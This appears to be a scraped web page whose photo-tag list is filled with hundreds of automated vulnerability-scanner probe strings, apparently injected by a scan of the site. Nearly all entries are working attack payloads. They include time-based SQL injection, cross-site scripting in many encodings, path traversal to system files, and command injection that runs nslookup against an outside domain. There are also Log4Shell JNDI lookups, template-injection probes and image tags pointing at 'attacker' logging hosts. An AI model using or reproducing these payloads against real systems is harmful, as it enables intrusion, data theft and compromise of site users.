×
照片标签：
- e
- 1D2kokMRh2O
- response.write(9594321*9514509)
- '+response.write(9594321*9514509)+'
- "+response.write(9594321*9514509)+"
- ../../../../../../../../../../../../../../etc/passwd
- e<esi:include src="http://bxss.me/rpb.png"/>
- 12345'"\'\")
- ../../../../../../../../../../../../../../windows/win.ini
- echo yzmkbc$()\ aijmcm\nz^xyu||a #' &echo yzmkbc$()\ aijmcm\nz^xyu||a #|" &echo yzmkbc$()\ aijmcm\nz^xyu||a #
- &echo cnktuq$()\ sdhqiw\nz^xyu||a #' &echo cnktuq$()\ sdhqiw\nz^xyu||a #|" &echo cnktuq$()\ sdhqiw\nz^xyu||a #
- |echo pptlup$()\ bgtfjr\nz^xyu||a #' |echo pptlup$()\ bgtfjr\nz^xyu||a #|" |echo pptlup$()\ bgtfjr\nz^xyu||a #
- ../e
- ${9999919+9999549}
- (nslookup hitxkkwiztick262d5.bxss.me||perl -e "gethostbyname('hitxkkwiztick262d5.bxss.me')")
- $(nslookup hitwjwjwkkxpq88042.bxss.me||perl -e "gethostbyname('hitwjwjwkkxpq88042.bxss.me')")
- &(nslookup hitekxemhimpt2bacb.bxss.me||perl -e "gethostbyname('hitekxemhimpt2bacb.bxss.me')")&'\"`0&(nslookup hitekxemhimpt2bacb.bxss.me||perl -e "gethostbyname('hitekxemhimpt2bacb.bxss.me')")&`'
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- |(nslookup hitmvgwgfyxee33888.bxss.me||perl -e "gethostbyname('hitmvgwgfyxee33888.bxss.me')")
- '.gethostbyname(lc('hitog'.'bafgiefb9a2e2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(107).chr(78).'
- 1some_inexistent_file_with_long_name .jpg
- `(nslookup hitzqpurrufps5b590.bxss.me||perl -e "gethostbyname('hitzqpurrufps5b590.bxss.me')")`
- )
- ".gethostbyname(lc("hithz"."bqztxlxg01dec.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(65).chr(101).chr(89)."
- !(()&&!|*|*|
- http://bxss.me/t/fit.txt?.jpg
- ^(#$!@#$)(()))******
- bxss.me
- '
- HttP://bxss.me/t/xss.html?%00
- "
- bxss.me/t/xss.html?%00
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- "+"A".concat(70-3).concat(22*4).concat(110).concat(89).concat(116).concat(65)+(require"socket" Socket.gethostbyname("hitqu"+"pkugvympbfb9d.bxss.me.")[3].to_s)+"
- '.print(md5(31337)).'
- '+'A'.concat(70-3).concat(22*4).concat(118).concat(68).concat(98).concat(88)+(require'socket' Socket.gethostbyname('hitav'+'gnbuburr5c47a.bxss.me.')[3].to_s)+'
- bibs
- bibs/.
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- '"
- <!--
- OCttFBiK
- -1 OR 2+100-100-1=0+0+0+1 --
- -1 OR 2+332-332-1=0+0+0+1
- -1' OR 2+721-721-1=0+0+0+1 --
- -1' OR 2+294-294-1=0+0+0+1 or '7DckFeoh'='
- -1" OR 2+349-349-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 1 waitfor delay '0:0:15' --
- uWFqiEtY'
- aPe9Xx9X' OR 957=(SELECT 957 FROM PG_SLEEP(15))--
- S7oLPp0w') OR 625=(SELECT 625 FROM PG_SLEEP(15))--
- jkOHyKze')) OR 122=(SELECT 122 FROM PG_SLEEP(15))--
- e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@xEyxw
- e'"()&%<acx><ScRiPt >wF1n(9719)</ScRiPt>
- '"()&%<acx><ScRiPt >wF1n(9292)</ScRiPt>
- e9896408
- acu7050＜s1﹥s2ʺs3ʹuca7050
- acux5490z1z2abcxuca5490
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu3737＜s1﹥s2ʺs3ʹuca3737
- acux10647z1z2abcxuca10647
- acu8728＜s1﹥s2ʺs3ʹuca8728
- acux3831z1z2abcxuca3831
- e"onmouseover=wF1n(96762)"
- e" hx5a=wF1n([!+!]) klL="
- e\u0022onmouseover=wF1n(98863)\u0022
- %65%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%77%46%31%6E%28%39%39%36%34%34%29%22
- "onmouseover=wF1n(93315)//
- e"sTYLe='acu:Expre/**/SSion(wF1n(9534))'bad="
- e"><script>wF1n(9025)</script>
- e<ScRiPt >wF1n(9709)</ScRiPt>
- e<W1HGRE>LVS1K[!+!]</W1HGRE>
- e<script>wF1n(9108)</script>
- e<ScR<ScRiPt>IpT>wF1n(9979)</sCr<ScRiPt>IpT>
- e<ScRiPt >wF1n(9650)</ScRiPt>
- e<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9147></ScRiPt>
- e< ScRiPt >wF1n(9141)</ScRiPt>
- e<svg onload=wF1n(9451)
- e<isindex type=image src=1 onerror=wF1n(9580)>
- e<iframe src='data:text/html
- e<body onload=wF1n(9467)>
- e<img src=//xss.bxss.me/t/dot.gif onload=wF1n(9565)>
- e<img src=xyz OnErRor=wF1n(9422)>
- e<img/src=">" onerror=alert(9425)>
- %65%3C%53%63%52%69%50%74%20%3E%77%46%31%6E%289963%29%3C%2F%73%43%72%69%70%54%3E
- e\u003CScRiPt\wF1n(9473)\u003C/sCripT\u003E
- e<
- <img acu onmouseover=wF1n(99931) //>
- e<input autofocus onfocus=wF1n(9610)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- e}body{acu:Expre/**/SSion(wF1n(9561))}
- e<% contenteditable onresize=wF1n(9919)>
- ewkGVZ <ScRiPt >wF1n(9956)</ScRiPt>
- e<WI3N7K>AO8QC[!+!]</WI3N7K>
- e<ifRAme sRc=9749.com></IfRamE>
- e<gyyh6n x=9206>
- e<img sRc='http://attacker-9527/log.php?
- e<2fEnk4<
- e'"()&%<acx><ScRiPt >fQkJ(9347)</ScRiPt>
- '"()&%<acx><ScRiPt >fQkJ(9022)</ScRiPt>
- e9673759
- acu3983＜s1﹥s2ʺs3ʹuca3983
- acux7570z1z2abcxuca7570
- acu9746＜s1﹥s2ʺs3ʹuca9746
- acux8544z1z2abcxuca8544
- acu9203＜s1﹥s2ʺs3ʹuca9203
- acux1822z1z2abcxuca1822
- e"onmouseover=fQkJ(93242)"
- e" bO01=fQkJ([!+!]) 2Ct="
- e\u0022onmouseover=fQkJ(98353)\u0022
- %65%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%66%51%6B%4A%28%39%30%32%37%34%29%22
- "onmouseover=fQkJ(92225)//
- e"sTYLe='acu:Expre/**/SSion(fQkJ(9824))'bad="
- e"><script>fQkJ(9199)</script>
- e<ScRiPt >fQkJ(9737)</ScRiPt>
- e<WO4OQ6>TKHNT[!+!]</WO4OQ6>
- e<script>fQkJ(9561)</script>
- e<ScR<ScRiPt>IpT>fQkJ(9669)</sCr<ScRiPt>IpT>
- e<ScRiPt >fQkJ(9290)</ScRiPt>
- e<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9915></ScRiPt>
- e< ScRiPt >fQkJ(9376)</ScRiPt>
- e<svg onload=fQkJ(9953)
- e<isindex type=image src=1 onerror=fQkJ(9281)>
- e<body onload=fQkJ(9821)>
- e<img src=//xss.bxss.me/t/dot.gif onload=fQkJ(9899)>
- e<img src=xyz OnErRor=fQkJ(9842)>
- e<img/src=">" onerror=alert(9749)>
- %65%3C%53%63%52%69%50%74%20%3E%66%51%6B%4A%289025%29%3C%2F%73%43%72%69%70%54%3E
- e\u003CScRiPt\fQkJ(9705)\u003C/sCripT\u003E
- <img acu onmouseover=fQkJ(91371) //>
- e<input autofocus onfocus=fQkJ(9529)>
- e}body{acu:Expre/**/SSion(fQkJ(9351))}
- e<% contenteditable onresize=fQkJ(9747)>
- eW8pkf <ScRiPt >fQkJ(9766)</ScRiPt>
- e<WITBC6>G5AV6[!+!]</WITBC6>
- e<ifRAme sRc=9516.com></IfRamE>
- e<lH0ITT x=9867>
- e<img sRc='http://attacker-9041/log.php?
- e<4KGdV5<
- 1
- response.write(9072570*9887257)
- '+response.write(9072570*9887257)+'
- "+response.write(9072570*9887257)+"
- ../1
- echo ccepxu$()\ wybkgo\nz^xyu||a #' &echo ccepxu$()\ wybkgo\nz^xyu||a #|" &echo ccepxu$()\ wybkgo\nz^xyu||a #
- &echo zffuzg$()\ hkwlqp\nz^xyu||a #' &echo zffuzg$()\ hkwlqp\nz^xyu||a #|" &echo zffuzg$()\ hkwlqp\nz^xyu||a #
- |echo ebpioj$()\ jrzrnf\nz^xyu||a #' |echo ebpioj$()\ jrzrnf\nz^xyu||a #|" |echo ebpioj$()\ jrzrnf\nz^xyu||a #
- (nslookup hitbtalcavgfxedfc3.bxss.me||perl -e "gethostbyname('hitbtalcavgfxedfc3.bxss.me')")
- $(nslookup hitwirznkmmtu0fd97.bxss.me||perl -e "gethostbyname('hitwirznkmmtu0fd97.bxss.me')")
- &(nslookup hitofnuxdurir6d150.bxss.me||perl -e "gethostbyname('hitofnuxdurir6d150.bxss.me')")&'\"`0&(nslookup hitofnuxdurir6d150.bxss.me||perl -e "gethostbyname('hitofnuxdurir6d150.bxss.me')")&`'
- |(nslookup hitamfhsyelac2bed6.bxss.me||perl -e "gethostbyname('hitamfhsyelac2bed6.bxss.me')")
- `(nslookup hitoqmfvrmapobfc75.bxss.me||perl -e "gethostbyname('hitoqmfvrmapobfc75.bxss.me')")`
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${10000128+9999122}
- Http://bxss.me/t/fit.txt
- '.gethostbyname(lc('hituj'.'khyyqaid02870.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(74).chr(110).chr(72).'
- ".gethostbyname(lc("hitzq"."ejlgproj5fcab.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(66).chr(122).chr(78)."
- "+"A".concat(70-3).concat(22*4).concat(113).concat(78).concat(101).concat(69)+(require"socket" Socket.gethostbyname("hitzi"+"jnajvbvg32c83.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(110).concat(90).concat(116).concat(82)+(require'socket' Socket.gethostbyname('hitss'+'woljfsvm354d2.bxss.me.')[3].to_s)+'
- khPMVXQq
- -1 OR 2+606-606-1=0+0+0+1 --
- -1 OR 2+911-911-1=0+0+0+1
- -1' OR 2+651-651-1=0+0+0+1 --
- -1' OR 2+275-275-1=0+0+0+1 or 'JnbWAdj0'='
- -1" OR 2+205-205-1=0+0+0+1 --
- -1
- -1)
- eHHhsqC1'
- -5 OR 150=(SELECT 150 FROM PG_SLEEP(15))--
- -5) OR 206=(SELECT 206 FROM PG_SLEEP(15))--
- -1)) OR 203=(SELECT 203 FROM PG_SLEEP(15))--
- 0B6GV3cj' OR 141=(SELECT 141 FROM PG_SLEEP(15))--
- JorJP0Ah') OR 45=(SELECT 45 FROM PG_SLEEP(15))--
- E549Fw8j')) OR 548=(SELECT 548 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- @@E28qu
- ${j${::-n}di:dns${::-:}//hitcvibcuadet78292${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-90998..fb643${::-.}1${::-.}bxss.me}}
- response.write(9370456*9214742)
- '+response.write(9370456*9214742)+'
- "+response.write(9370456*9214742)+"
- qCU3kp1D
- cQj8orw2
- -1 OR 2+40-40-1=0+0+0+1 --
- -1 OR 2+46-46-1=0+0+0+1
- -1' OR 2+301-301-1=0+0+0+1 --
- echo xfvbah$()\ rtikvb\nz^xyu||a #' &echo xfvbah$()\ rtikvb\nz^xyu||a #|" &echo xfvbah$()\ rtikvb\nz^xyu||a #
- -1' OR 2+602-602-1=0+0+0+1 or 'hlCQGVRl'='
- &echo dvokpt$()\ lqgpzs\nz^xyu||a #' &echo dvokpt$()\ lqgpzs\nz^xyu||a #|" &echo dvokpt$()\ lqgpzs\nz^xyu||a #
- -1" OR 2+761-761-1=0+0+0+1 --
- |echo bgzvmr$()\ ytucjh\nz^xyu||a #' |echo bgzvmr$()\ ytucjh\nz^xyu||a #|" |echo bgzvmr$()\ ytucjh\nz^xyu||a #
- (nslookup hityyjlgbtdznfa806.bxss.me||perl -e "gethostbyname('hityyjlgbtdznfa806.bxss.me')")
- $(nslookup hitfczndymnlq1f21f.bxss.me||perl -e "gethostbyname('hitfczndymnlq1f21f.bxss.me')")
- &(nslookup hitjwxajtiyim933f0.bxss.me||perl -e "gethostbyname('hitjwxajtiyim933f0.bxss.me')")&'\"`0&(nslookup hitjwxajtiyim933f0.bxss.me||perl -e "gethostbyname('hitjwxajtiyim933f0.bxss.me')")&`'
- |(nslookup hitedlimajxhcc7b79.bxss.me||perl -e "gethostbyname('hitedlimajxhcc7b79.bxss.me')")
- `(nslookup hitbeikbkmypoe3077.bxss.me||perl -e "gethostbyname('hitbeikbkmypoe3077.bxss.me')")`
- nrXGMt66'
- -5 OR 212=(SELECT 212 FROM PG_SLEEP(15))--
- -5) OR 163=(SELECT 163 FROM PG_SLEEP(15))--
- -1)) OR 144=(SELECT 144 FROM PG_SLEEP(15))--
- OO2H4Dof' OR 714=(SELECT 714 FROM PG_SLEEP(15))--
- pLwFuENF') OR 371=(SELECT 371 FROM PG_SLEEP(15))--
- 9dYHTUJ2')) OR 186=(SELECT 186 FROM PG_SLEEP(15))--
- @@hIGx8
- ${9999912+9999984}
- 1&n901486=v998664
- '"()
- '.gethostbyname(lc('hitnu'.'htmnqnbj95d20.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(75).chr(110).chr(83).'
- ".gethostbyname(lc("hitek"."euxaymyiaf9a2.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(83).chr(118).chr(66)."
- "+"A".concat(70-3).concat(22*4).concat(103).concat(76).concat(100).concat(87)+(require"socket" Socket.gethostbyname("hitut"+"dkmitjfsc45b0.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(99).concat(88).concat(97).concat(85)+(require'socket' Socket.gethostbyname('hitsx'+'iraymilv9d159.bxss.me.')[3].to_s)+'
- /xfs.bxss.me
- 1'"()&%<acx><ScRiPt >iQrS(9772)</ScRiPt>
- '"()&%<acx><ScRiPt >iQrS(9770)</ScRiPt>
- 19774065
- acu8208＜s1﹥s2ʺs3ʹuca8208
- acux4026z1z2abcxuca4026
- acu3479＜s1﹥s2ʺs3ʹuca3479
- acux3918z1z2abcxuca3918
- acu3991＜s1﹥s2ʺs3ʹuca3991
- acux8021z1z2abcxuca8021
- 1"onmouseover=iQrS(96202)"
- 1" 85eg=iQrS([!+!]) AIL="
- 1\u0022onmouseover=iQrS(97483)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%69%51%72%53%28%39%35%30%30%34%29%22
- "onmouseover=iQrS(91845)//
- 1"sTYLe='acu:Expre/**/SSion(iQrS(9377))'bad="
- 1"><script>iQrS(9326)</script>
- 1<ScRiPt >iQrS(9921)</ScRiPt>
- 1<WJHT9K>PNAVZ[!+!]</WJHT9K>
- 1<script>iQrS(9046)</script>
- 1<ScR<ScRiPt>IpT>iQrS(9949)</sCr<ScRiPt>IpT>
- 1<ScRiPt >iQrS(9828)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9475></ScRiPt>
- 1< ScRiPt >iQrS(9762)</ScRiPt>
- 1<svg onload=iQrS(9626)
- 1<isindex type=image src=1 onerror=iQrS(9286)>
- 1<iframe src='data:text/html
- 1<body onload=iQrS(9972)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=iQrS(9408)>
- 1<img src=xyz OnErRor=iQrS(9687)>
- 1<img/src=">" onerror=alert(9129)>
- %31%3C%53%63%52%69%50%74%20%3E%69%51%72%53%289224%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\iQrS(9347)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=iQrS(97571) //>
- 1<input autofocus onfocus=iQrS(9763)>
- 1}body{acu:Expre/**/SSion(iQrS(9544))}
- 18nm9y <ScRiPt >iQrS(9487)</ScRiPt>
- 1<WYKKVO>XH20N[!+!]</WYKKVO>
- 1<ifRAme sRc=9452.com></IfRamE>
- 1<aix0VOx x=9427>
- 1<img sRc='http://attacker-9967/log.php?
- 1<aXzwDJi<
- 1Bx4z3mv5iO
- response.write(9023395*9843366)
- '+response.write(9023395*9843366)+'
- "+response.write(9023395*9843366)+"
- ${j${::-n}di:dns${::-:}//hitzgeeqewibi6da93${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-247472..fb643${::-.}1${::-.}bxss.me}}
- xLWhr0Ei
- echo qkpton$()\ xdgkdx\nz^xyu||a #' &echo qkpton$()\ xdgkdx\nz^xyu||a #|" &echo qkpton$()\ xdgkdx\nz^xyu||a #
- &echo fetmww$()\ pfmtrj\nz^xyu||a #' &echo fetmww$()\ pfmtrj\nz^xyu||a #|" &echo fetmww$()\ pfmtrj\nz^xyu||a #
- k7i9ibY7
- |echo umtsrl$()\ pjwzba\nz^xyu||a #' |echo umtsrl$()\ pjwzba\nz^xyu||a #|" |echo umtsrl$()\ pjwzba\nz^xyu||a #
- -1 OR 2+861-861-1=0+0+0+1 --
- (nslookup hitovnibvajfu1c8e5.bxss.me||perl -e "gethostbyname('hitovnibvajfu1c8e5.bxss.me')")
- -1 OR 2+683-683-1=0+0+0+1
- $(nslookup hitakediiwaehf51b3.bxss.me||perl -e "gethostbyname('hitakediiwaehf51b3.bxss.me')")
- -1' OR 2+116-116-1=0+0+0+1 --
- &(nslookup hittrzgbumkwffa1e6.bxss.me||perl -e "gethostbyname('hittrzgbumkwffa1e6.bxss.me')")&'\"`0&(nslookup hittrzgbumkwffa1e6.bxss.me||perl -e "gethostbyname('hittrzgbumkwffa1e6.bxss.me')")&`'
- -1' OR 2+704-704-1=0+0+0+1 or '30K5xbTk'='
- |(nslookup hitxwavubmjvwba254.bxss.me||perl -e "gethostbyname('hitxwavubmjvwba254.bxss.me')")
- -1" OR 2+731-731-1=0+0+0+1 --
- `(nslookup hithtqcgjgciqb634c.bxss.me||perl -e "gethostbyname('hithtqcgjgciqb634c.bxss.me')")`
- gYlApcTb'
- -5 OR 236=(SELECT 236 FROM PG_SLEEP(15))--
- -5) OR 704=(SELECT 704 FROM PG_SLEEP(15))--
- -1)) OR 400=(SELECT 400 FROM PG_SLEEP(15))--
- gK0twhb0' OR 181=(SELECT 181 FROM PG_SLEEP(15))--
- Mt2uWwlz') OR 167=(SELECT 167 FROM PG_SLEEP(15))--
- 2bHroxJg')) OR 70=(SELECT 70 FROM PG_SLEEP(15))--
- @@8ExYZ
- ${9999023+9999735}
- 1&n915406=v981591
- '.gethostbyname(lc('hitnq'.'jccdptut018df.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(73).chr(109).chr(73).'
- ".gethostbyname(lc("hitgc"."gjujnqxi510bc.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(76).chr(107).chr(75)."
- "+"A".concat(70-3).concat(22*4).concat(120).concat(80).concat(122).concat(70)+(require"socket" Socket.gethostbyname("hithe"+"wqavvmcc40f84.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(103).concat(81).concat(122).concat(65)+(require'socket' Socket.gethostbyname('hitgw'+'irpmqwzs17c1b.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >mDk7(9754)</ScRiPt>
- '"()&%<acx><ScRiPt >mDk7(9092)</ScRiPt>
- 19388132
- acu3729＜s1﹥s2ʺs3ʹuca3729
- acux10212z1z2abcxuca10212
- acu2405＜s1﹥s2ʺs3ʹuca2405
- acux8772z1z2abcxuca8772
- acu9278＜s1﹥s2ʺs3ʹuca9278
- acux3412z1z2abcxuca3412
- 1"onmouseover=mDk7(97212)"
- 1" 05f5=mDk7([!+!]) F8R="
- 1\u0022onmouseover=mDk7(91343)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%6D%44%6B%37%28%39%37%36%31%34%29%22
- "onmouseover=mDk7(95435)//
- 1"sTYLe='acu:Expre/**/SSion(mDk7(9116))'bad="
- 1"><script>mDk7(9597)</script>
- 1<ScRiPt >mDk7(9765)</ScRiPt>
- 1<WWQV61>H2NPC[!+!]</WWQV61>
- 1<script>mDk7(9056)</script>
- 1<ScR<ScRiPt>IpT>mDk7(9338)</sCr<ScRiPt>IpT>
- 1<ScRiPt >mDk7(9859)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9916></ScRiPt>
- 1< ScRiPt >mDk7(9421)</ScRiPt>
- 1<svg onload=mDk7(9893)
- 1<isindex type=image src=1 onerror=mDk7(9925)>
- 1<body onload=mDk7(9381)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=mDk7(9424)>
- 1<img src=xyz OnErRor=mDk7(9884)>
- 1<img/src=">" onerror=alert(9966)>
- %31%3C%53%63%52%69%50%74%20%3E%6D%44%6B%37%289963%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\mDk7(9216)\u003C/sCripT\u003E
- <img acu onmouseover=mDk7(98271) //>
- 1<input autofocus onfocus=mDk7(9828)>
- 1}body{acu:Expre/**/SSion(mDk7(9525))}
- 15feMx <ScRiPt >mDk7(9172)</ScRiPt>
- 1<W5WNC4>J9WIH[!+!]</W5WNC4>
- 1<ifRAme sRc=9954.com></IfRamE>
- 1<aJGHKQM x=9727>
- 1<img sRc='http://attacker-9657/log.php?
- 1<ahGwq5X<
- 1'"()&%<acx><ScRiPt >UPjd(9967)</ScRiPt>
- '"()&%<acx><ScRiPt >UPjd(9188)</ScRiPt>
- 19265103
- acu1898＜s1﹥s2ʺs3ʹuca1898
- acux2926z1z2abcxuca2926
- acu10856＜s1﹥s2ʺs3ʹuca10856
- acux7846z1z2abcxuca7846
- acu3485＜s1﹥s2ʺs3ʹuca3485
- acux3538z1z2abcxuca3538
- 1"onmouseover=UPjd(94292)"
- 1" TMwX=UPjd([!+!]) OXE="
- 1\u0022onmouseover=UPjd(92913)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%55%50%6A%64%28%39%32%31%31%34%29%22
- "onmouseover=UPjd(92265)//
- 1"sTYLe='acu:Expre/**/SSion(UPjd(9325))'bad="
- 1"><script>UPjd(9394)</script>
- 1<ScRiPt >UPjd(9890)</ScRiPt>
- 1<W0N2DV>ZVQWK[!+!]</W0N2DV>
- 1<script>UPjd(9159)</script>
- 1<ScR<ScRiPt>IpT>UPjd(9104)</sCr<ScRiPt>IpT>
- 1<ScRiPt >UPjd(9231)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9645></ScRiPt>
- 1< ScRiPt >UPjd(9354)</ScRiPt>
- 1<svg onload=UPjd(9133)
- 1<isindex type=image src=1 onerror=UPjd(9903)>
- 1<body onload=UPjd(9931)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=UPjd(9836)>
- 1<img src=xyz OnErRor=UPjd(9936)>
- 1<img/src=">" onerror=alert(9544)>
- %31%3C%53%63%52%69%50%74%20%3E%55%50%6A%64%289919%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\UPjd(9656)\u003C/sCripT\u003E
- <img acu onmouseover=UPjd(93771) //>
- 1<input autofocus onfocus=UPjd(9639)>
- 1}body{acu:Expre/**/SSion(UPjd(9893))}
- 1NafKv <ScRiPt >UPjd(9285)</ScRiPt>
- 1<WVADHB>FVRNM[!+!]</WVADHB>
- 1<ifRAme sRc=9354.com></IfRamE>
- 1<a2u9oll x=9117>
- 1<img sRc='http://attacker-9012/log.php?
- 1<aN3wBbg<
- echo remwyw$()\ elfpjy\nz^xyu||a #' &echo remwyw$()\ elfpjy\nz^xyu||a #|" &echo remwyw$()\ elfpjy\nz^xyu||a #
- &echo fcxzfu$()\ yheimj\nz^xyu||a #' &echo fcxzfu$()\ yheimj\nz^xyu||a #|" &echo fcxzfu$()\ yheimj\nz^xyu||a #
- 1&n996160=v915942
- |echo bohcep$()\ gdoflm\nz^xyu||a #' |echo bohcep$()\ gdoflm\nz^xyu||a #|" |echo bohcep$()\ gdoflm\nz^xyu||a #
- '.gethostbyname(lc('hitdo'.'dggyxfuk8177c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(90).chr(104).chr(70).'
- (nslookup hittrfbncflpweb4ff.bxss.me||perl -e "gethostbyname('hittrfbncflpweb4ff.bxss.me')")
- ".gethostbyname(lc("hitxc"."uegkhldt3cefc.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(71).chr(105).chr(81)."
- $(nslookup hitgqiigwqksqd9b29.bxss.me||perl -e "gethostbyname('hitgqiigwqksqd9b29.bxss.me')")
- &(nslookup hitflhqyatkti5829e.bxss.me||perl -e "gethostbyname('hitflhqyatkti5829e.bxss.me')")&'\"`0&(nslookup hitflhqyatkti5829e.bxss.me||perl -e "gethostbyname('hitflhqyatkti5829e.bxss.me')")&`'
- |(nslookup hitaclzjmqbvz8bd85.bxss.me||perl -e "gethostbyname('hitaclzjmqbvz8bd85.bxss.me')")
- `(nslookup hitaxrxfneiev7d1ff.bxss.me||perl -e "gethostbyname('hitaxrxfneiev7d1ff.bxss.me')")`
- dN8Ejn0K
- -1 OR 2+109-109-1=0+0+0+1 --
- -1 OR 2+465-465-1=0+0+0+1
- -1' OR 2+944-944-1=0+0+0+1 --
- -1' OR 2+333-333-1=0+0+0+1 or 'glzi58wF'='
- -1" OR 2+783-783-1=0+0+0+1 --
- 2jq91I51'
- -5 OR 223=(SELECT 223 FROM PG_SLEEP(15))--
- -5) OR 954=(SELECT 954 FROM PG_SLEEP(15))--
- -1)) OR 424=(SELECT 424 FROM PG_SLEEP(15))--
- 1neGv9r1' OR 13=(SELECT 13 FROM PG_SLEEP(15))--
- IwYDrmHy') OR 548=(SELECT 548 FROM PG_SLEEP(15))--
- OpQKvfoT')) OR 680=(SELECT 680 FROM PG_SLEEP(15))--
- @@WvK8M
- u58uumqo
- -1 OR 2+845-845-1=0+0+0+1 --
- -1 OR 2+671-671-1=0+0+0+1
- -1' OR 2+826-826-1=0+0+0+1 --
- -1' OR 2+425-425-1=0+0+0+1 or 'hpODnN4x'='
- -1" OR 2+721-721-1=0+0+0+1 --
- e5E9QcXE'
- -5 OR 804=(SELECT 804 FROM PG_SLEEP(15))--
- -5) OR 497=(SELECT 497 FROM PG_SLEEP(15))--
- -1)) OR 98=(SELECT 98 FROM PG_SLEEP(15))--
- A9h1iUZl' OR 512=(SELECT 512 FROM PG_SLEEP(15))--
- cl9RgLdB') OR 94=(SELECT 94 FROM PG_SLEEP(15))--
- cUFR87hE')) OR 384=(SELECT 384 FROM PG_SLEEP(15))--
- @@ZyoNV
- 1ZCNsRzxJ
- -1 OR 2+274-274-1=0+0+0+1 --
- -1' OR 2+850-850-1=0+0+0+1 --
- -1' OR 2+41-41-1=0+0+0+1 or 'CPWvvQWe'='
- -1" OR 2+20-20-1=0+0+0+1 --
- 1*if(now()=sysdate()
- 10'XOR(1*if(now()=sysdate()
- 10"XOR(1*if(now()=sysdate()
- 1-1
- 1-1)
- 1-1 waitfor delay '0:0:15' --
- 1vBp7m3Wz'
- 1-1 OR 446=(SELECT 446 FROM PG_SLEEP(15))--
- 1-1) OR 871=(SELECT 871 FROM PG_SLEEP(15))--
- 1-1)) OR 750=(SELECT 750 FROM PG_SLEEP(15))--
- 1yokWtxYC' OR 412=(SELECT 412 FROM PG_SLEEP(15))--
- 1HfacMjXV') OR 56=(SELECT 56 FROM PG_SLEEP(15))--
- 1UbJhk7LK')) OR 990=(SELECT 990 FROM PG_SLEEP(15))--
- 1%2527%2522\'\"
- @@NzCFk
- 1vGgbBEkJ
- -1 OR 2+160-160-1=0+0+0+1 --
- -1 OR 2+721-721-1=0+0+0+1
- -1' OR 2+622-622-1=0+0+0+1 --
- -1' OR 2+115-115-1=0+0+0+1 or 'RLWGDxXh'='
- -1" OR 2+88-88-1=0+0+0+1 --
- 1-1; waitfor delay '0:0:15' --
- 1-1); waitfor delay '0:0:15' --
- 1yrpcmXrW'; waitfor delay '0:0:15' --
- 1-1 OR 811=(SELECT 811 FROM PG_SLEEP(15))--
- 1-1) OR 862=(SELECT 862 FROM PG_SLEEP(15))--
- 1-1)) OR 105=(SELECT 105 FROM PG_SLEEP(15))--
- 1jlp2eafk' OR 328=(SELECT 328 FROM PG_SLEEP(15))--
- 1GfGHfjDJ') OR 67=(SELECT 67 FROM PG_SLEEP(15))--
- 1w1xJW9DG')) OR 115=(SELECT 115 FROM PG_SLEEP(15))--
- @@CfAPY
- 1lHQ9YLSM
- -1 OR 2+733-733-1=0+0+0+1 --
- -1 OR 2+836-836-1=0+0+0+1
- -1' OR 2+50-50-1=0+0+0+1 --
